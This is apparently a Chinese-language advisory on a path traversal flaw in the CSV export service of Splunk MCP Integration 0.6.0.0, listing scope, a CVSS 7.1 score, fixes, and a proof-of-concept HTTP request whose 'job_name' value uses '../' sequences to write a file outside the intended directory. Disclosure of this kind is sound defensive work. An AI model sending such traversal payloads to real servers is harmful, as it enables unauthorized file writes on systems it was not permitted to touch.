# Splunk MCP Integration CSV Export 任意文件写入漏洞总结 ## 漏洞概述 Splunk MCP Integration 的 CSV 导出服务存在路径遍历漏洞。攻击者可通过构造恶意的 `job_name` 参数,利用 `..` 和 `/` 序列绕过 `CSV_OUTPUT_DIR` 限制,在服务器任意位置创建和写入 CSV 文件。 ## 影响范围 - **受影响版本**:确认受影响版本为 `0.6.0.0` - **影响范围**:包含相同 `job_name` 到 `file_name` 流程的 CSV 导出服务修订版本 - **严重程度**:CVSS v3.1 评分 7.1 (High) - **攻击前提**:攻击者需具备 `csv_create` 权限 ## 修复方案 1. 使用内部标识符替换 `job_name` 派生的文件名,或将 `job_name` 简化为安全文件名 2. 连接后解析最终路径并拒绝任何超出 `Path(settings.CSV_OUTPUT_DIR).resolve()` 的路径 3. 添加回归测试覆盖 `../`、嵌套斜杠、Windows 分隔符和绝对路径前缀 ## POC 代码 ```http POST /api/v1/export/ HTTP/1.1 Host: target-host Authorization: Bearer Content-Type: application/json { "job_name": "../../../../../tmp/csv_poc", "data_source": { "source_type": "static", "static_source": { "data": [ ["0001", "0a"] ] } }, "export_config": { "export_format": "csv" } } ```